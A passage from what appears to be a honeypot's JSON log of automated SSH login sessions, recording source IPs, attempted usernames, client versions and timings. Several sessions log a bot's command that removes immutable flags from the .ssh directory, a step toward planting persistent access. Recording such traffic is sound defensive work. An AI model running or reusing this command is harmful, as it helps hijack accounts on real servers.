  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:34:55.446400+00:00",
  "ended_at": "2026-08-27T04:34:56.310759+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "797f7ea9-5551-4773-934f-068e502d14c2",
  "name": "frugal-dusty-cormorant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 48826,
  "username": "miner",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 328,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:33:19.591657+00:00",
  "ended_at": "2026-08-27T04:33:21.856561+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2131
 },
 {
  "id": "389856fc-d0c6-4091-849f-68dedc816644",
  "name": "brazen-pleasant-snipe",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 48848,
  "username": "miner",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:32:54.050969+00:00",
  "ended_at": "2026-08-27T04:32:56.040923+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3f703daf-59e0-4784-b490-ed6aaeca1a93",
  "name": "thrifty-serene-heron",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 48840,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:32:51.893367+00:00",
  "ended_at": "2026-08-27T04:32:53.385677+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9e90a36e-8ad2-413c-9459-9fd848fb95bf",
  "name": "fearless-sleepy-bunting",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 53292,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 320,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:31:21.052647+00:00",
  "ended_at": "2026-08-27T04:31:23.085115+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2172
 },
 {
  "id": "6fc34064-f0a5-4c8b-bb20-5f614acf8d5c",
  "name": "gentle-bitter-gazelle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 37408,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:30:59.431434+00:00",
  "ended_at": "2026-08-27T04:31:01.242355+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "43c7f0e5-9fc1-4982-8c9b-6a88c083f7d1",
  "name": "golden-smooth-skink",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 37398,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:30:56.925156+00:00",
  "ended_at": "2026-08-27T04:30:58.817727+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "339b0e76-ec1c-4cdd-80ff-9dafa1e94441",
  "name": "plucky-frosty-tinamou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 60444,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 312,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:29:19.102327+00:00",
  "ended_at": "2026-08-27T04:29:20.501614+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2114
 },
 {
  "id": "3612625a-e2c4-4c32-811e-07961a01d61c",
  "name": "loyal-blunt-lemur",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 60464,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:28:51.991756+00:00",
  "ended_at": "2026-08-27T04:28:53.788059+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "09f26b00-1b48-40e4-a7dd-2becc19d3cc1",
  "name": "nautical-hushed-kiwi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 60452,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:28:50.397291+00:00",
  "ended_at": "2026-08-27T04:28:51.371020+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "90ab820f-1e5d-45ff-9df5-91cbf696428e",
  "name": "russet-painted-merlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 42302,
  "username": "toor",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 318,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:27:20.981649+00:00",
  "ended_at": "2026-08-27T04:27:22.191785+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2091
 },
 {
  "id": "c6e48fae-224a-4804-a8d3-afc7da71ef18",
  "name": "dutiful-smoky-nightjar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 42322,
  "username": "toor",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:26:52.468629+00:00",
  "ended_at": "2026-08-27T04:26:54.243867+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e2387de3-0998-4d7b-a724-c9d149d57ddf",
  "name": "lucid-prickly-roebuck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 42306,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:26:49.866554+00:00",
  "ended_at": "2026-08-27T04:26:51.855852+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f481d93a-a18e-4bc4-9505-49c6d36c05ab",
  "name": "leafy-pleasant-macaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 58734,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 326,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:25:16.264465+00:00",
  "ended_at": "2026-08-27T04:25:17.694392+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2139
 },
 {
  "id": "6710736e-9b8e-4881-86c5-b7a02b6cf79b",
  "name": "meadow-thrifty-woodchuck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 58766,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:25:01.087333+00:00",
  "ended_at": "2026-08-27T04:25:01.977913+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cfbf1662-e4d3-43c7-a4bb-0254b3cc23b8",
  "name": "nimble-sooty-ouzel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 58750,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:24:59.092235+00:00",
  "ended_at": "2026-08-27T04:25:00.436574+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3b82f935-58b4-461b-8637-633ea35adf0f",
  "name": "faded-frank-catbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 40502,
  "username": "gmodserver",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 325,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:23:23.131226+00:00",
  "ended_at": "2026-08-27T04:23:24.387253+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2077
 },
 {
  "id": "40789549-9c5b-4f7d-a1cf-aa9ac563e2b9",
  "name": "rapid-umber-pelican",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 51192,
  "username": "gmodserver",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:23:06.497769+00:00",
  "ended_at": "2026-08-27T04:23:07.637012+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "726188f0-7f62-4480-bfa0-da3833367fc8",
  "name": "lonesome-dewy-moose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 40518,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:23:04.346417+00:00",
  "ended_at": "2026-08-27T04:23:05.844087+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "221d8468-d0a0-4f2d-8126-e9513be867c6",
  "name": "kindly-forlorn-hyrax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 59978,
  "username": "code",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 319,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:21:16.854318+00:00",
  "ended_at": "2026-08-27T04:21:17.950029+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2066
 },
 {
  "id": "0cf353ab-e9f2-4311-a755-14aaf190dbe5",
  "name": "sandy-civil-fennec",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 49196,
  "username": "code",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:21:07.058032+00:00",
  "ended_at": "2026-08-27T04:21:07.743204+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f0934a6b-d8f6-4322-8370-ebf9636b66da",
  "name": "murky-craggy-wagtail",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 59986,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:21:05.340853+00:00",
  "ended_at": "2026-08-27T04:21:06.398212+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a1bab6d0-ccb3-46ea-bc7e-612c4bdb60c7",
  "name": "somber-balmy-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 33976,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 309,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:19:17.948751+00:00",
  "ended_at": "2026-08-27T04:19:18.567224+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2106
 },
 {
  "id": "402624da-f9dc-4241-9671-d596742788ab",
  "name": "arctic-loyal-oriole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 33998,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:19:10.187786+00:00",
  "ended_at": "2026-08-27T04:19:11.482471+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2ba7d529-1c87-4821-8104-7d980c1946ef",
  "name": "shifting-thawing-petrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 33990,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:19:08.206600+00:00",
  "ended_at": "2026-08-27T04:19:09.559198+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d207bb49-94c5-406c-a2ea-1fe6e42bf6fd",
  "name": "idle-snowy-jackdaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 54904,
  "username": "ray",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 314,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:17:19.072824+00:00",
  "ended_at": "2026-08-27T04:17:19.676348+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2035
 },
 {
  "id": "c58492ff-7774-49c1-b104-5ed9040aa208",
  "name": "jagged-sunlit-onager",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 54922,
  "username": "ray",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:17:10.546831+00:00",
  "ended_at": "2026-08-27T04:17:11.994055+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dcabfef4-6210-4727-b3ae-ee7942778f8e",
  "name": "spirited-gentle-toucan",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 54910,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:17:08.719941+00:00",
  "ended_at": "2026-08-27T04:17:09.921726+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2451084f-aa6a-4383-8e91-11c3cd35ff85",
  "name": "seaward-jovial-brambling",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 47920,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:10:06.993015+00:00",
  "ended_at": "2026-08-27T04:10:08.233679+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "57c97805-7534-4b14-b1d7-46f7c0a8c358",
  "name": "deft-plush-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 53642,
  "username": "ts",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 565,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T02:42:38.067078+00:00",
  "ended_at": "2026-08-27T02:42:39.177391+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2239
 },
 {
  "id": "a68d04a6-cace-4613-be36-8c3013d3a2ae",
  "name": "idle-tranquil-tanager",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 41018,
  "username": "ts",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:42:16.725121+00:00",
  "ended_at": "2026-08-27T02:42:18.595507+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "23cbd5ce-9b86-49e8-a0e0-1d3d062abbd7",
  "name": "vigilant-faded-parakeet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 53648,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:42:13.730073+00:00",
  "ended_at": "2026-08-27T02:42:15.598271+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7f5a4ba8-4925-4947-9c9d-397140e25ac5",
  "name": "steady-gilded-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 60868,
  "username": "zyx",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 556,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T02:39:29.692683+00:00",
  "ended_at": "2026-08-27T02:39:31.389472+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2250
 },
 {
  "id": "5076fdb8-d9ac-490c-972c-90628ebb1818",
  "name": "solemn-curious-penguin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 45150,
  "username": "zyx",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:39:14.333663+00:00",
  "ended_at": "2026-08-27T02:39:15.947069+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1d8b8ec0-c39f-425b-b2b2-ba9974bd6870",
  "name": "drifting-blithe-swallow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 60882,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:39:08.403705+00:00",
  "ended_at": "2026-08-27T02:39:10.301064+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e95adf91-7feb-45ba-9937-2e0111842b51",
  "name": "courtly-cosmic-tern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 49170,
  "username": "ac",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 532,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T02:36:22.796549+00:00",
  "ended_at": "2026-08-27T02:36:23.539081+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2239
 },
 {
  "id": "3b285731-1d3b-4677-a797-1b65802ded31",
  "name": "primal-rustic-greenfinch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 49190,
  "username": "ac",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:36:11.999104+00:00",
  "ended_at": "2026-08-27T02:36:12.752376+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3a2d93d4-1a79-49b7-a4a1-d5bdc5236fdb",
  "name": "twilight-granite-manatee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 49178,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:36:07.963961+00:00",
  "ended_at": "2026-08-27T02:36:09.130264+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "644ae93a-a02a-41b5-8337-394ddc6f16f0",
  "name": "russet-courtly-jackdaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 49912,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 547,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T02:33:20.602582+00:00",
  "ended_at": "2026-08-27T02:33:21.281889+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "304a6b3f-3665-4713-bb3c-97716ed01660",
  "name": "dewy-mossy-wigeon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 59824,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:33:07.889239+00:00",
  "ended_at": "2026-08-27T02:33:09.531593+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "aec10140-ed68-471f-9367-23e0ad6e370d",
  "name": "quiet-civil-warbler",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 59820,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:33:05.124615+00:00",
  "ended_at": "2026-08-27T02:33:06.573448+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d2ed0ae5-3684-4459-8743-abd8b5c7cb49",
  "name": "placid-fleeting-oxpecker",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 53928,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:29:46.085188+00:00",
  "ended_at": "2026-08-27T02:29:47.125407+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a0d34dad-6286-40f0-9fff-5ff2ffb87d08",
  "name": "zealous-lawful-chickadee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 34832,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 522,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T02:27:02.181397+00:00",
  "ended_at": "2026-08-27T02:27:03.575059+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "b29f6bd0-18a8-465c-afea-53e219109e65",
  "name": "boreal-ashen-pika",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 39184,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:26:42.385386+00:00",
  "ended_at": "2026-08-27T02:26:44.046015+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dcf34b81-2ec0-4c33-b9ea-2a1e6ab2d9cb",
  "name": "wandering-gallant-bison",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 34840,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:26:39.911154+00:00",
  "ended_at": "2026-08-27T02:26:41.330970+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bbfb45e5-1981-4a34-80ab-474bc3436298",
  "name": "watchful-honest-hoopoe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 57042,
  "username": "chenyu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 562,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T02:24:11.138293+00:00",
  "ended_at": "2026-08-27T02:24:12.590042+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2259
 },
 {
  "id": "a2585b96-224b-430d-84a3-e187d5b14c92",
  "name": "lonesome-lofty-otter",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 59386,
  "username": "chenyu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:23:55.088739+00:00",
  "ended_at": "2026-08-27T02:23:55.776718+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "da7f7032-4d4e-4c66-b28d-1926f78aaf48",
  "name": "northern-painted-kakapo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 57052,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:23:51.780690+00:00",
  "ended_at": "2026-08-27T02:23:53.111713+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "10042d62-abe8-4b59-8dfc-60b474509ea1",
  "name": "mindful-sleepy-porcupine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 46760,
  "username": "yousef",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 513,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T02:20:56.350939+00:00",
  "ended_at": "2026-08-27T02:20:57.008370+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2259
 },
 {
  "id": "5f53b2c0-f98c-4707-99c2-2d90f37cf008",
  "name": "quiet-umber-gecko",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 47810,
  "username": "yousef",
